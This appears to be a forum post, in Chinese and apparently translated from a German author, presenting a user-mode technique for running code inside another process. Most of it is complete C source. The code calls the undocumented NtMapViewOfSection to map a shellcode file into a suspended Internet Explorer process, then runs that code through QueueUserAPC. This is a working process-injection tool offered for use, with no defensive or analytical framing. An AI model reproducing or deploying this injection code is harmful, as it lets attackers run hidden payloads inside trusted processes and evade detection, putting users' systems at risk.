我研究出了一种新的在远程进程中执行代码的可能性，就是利用一个未文档函数在远程进程地址空间写入代码，并且用一种新的技术在远程进程中执行它，这种技术完全工作在用户模式下，并且不需要特殊的条件比如像管理员权限或者之类的要求。让源码说明一切:(我为我的英文水平感到抱歉,我来自德国) 复制内容到剪贴板 代码:#define _WIN32_WINNT 0x0400#include <windows.h> typedef LONG NTSTATUS, *PNTSTATUS;#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) typedef enum _SECTION_INHERIT {ViewShare = 1,ViewUnmap = 2} SECTION_INHERIT; typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG ); func_NtMapViewOfSection NtMapViewOfSection = NULL; LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress ) {NTSTATUS Status;LARGE_INTEGER SectionOffset;ULONG ViewSize;ULONG Protect;LPVOID ViewBase; // 转换偏移量SectionOffset.LowPart = dwFileOffsetLow;SectionOffset.HighPart = dwFileOffsetHigh; // 保存大小和起始地址ViewBase = lpBaseAddress;ViewSize = dwNumberOfBytesToMap; // 转换标志为NT保护属性if (dwDesiredAccess & FILE_MAP_WRITE){Protect = PAGE_READWRITE;}else if (dwDesiredAccess & FILE_MAP_READ){Protect = PAGE_READONLY;}else if (dwDesiredAccess & FILE_MAP_COPY){Protect = PAGE_WRITECOPY;}else{Protect = PAGE_NOACCESS;} //映射区段Status = NtMapViewOfSection(hFileMappingObject, hProcess, &ViewBase, 0, 0, &SectionOffset, &ViewSize, ViewShare, 0, Protect);if (!NT_SUCCESS(Status)){// 失败return NULL;} //返回起始地址 return ViewBase;} int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int){HMODULE hDll = LoadLibrary( "ntdll.dll" ); NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection"); // 取ShellCode,任何你想实现的HANDLE hFile = CreateFile ("C:\\shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL); // 启动目标进程STARTUPINFO st; ZeroMemory (&st, sizeof(st));st.cb = sizeof (STARTUPINFO); PROCESS_INFORMATION pi;ZeroMemory (&pi, sizeof(pi)); CreateProcess ("C:\\Programme\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi); // 注入shellcode到目标进程地址空间LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL); // 创建一个新的能够在目标线程恢复是首先执行的APCQueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);ResumeThread (pi.hThread);CloseHandle (hFile);CloseHandle (hMappedFile);CloseHandle (pi.hThread);CloseHandle (pi.hProcess);return 0;} |
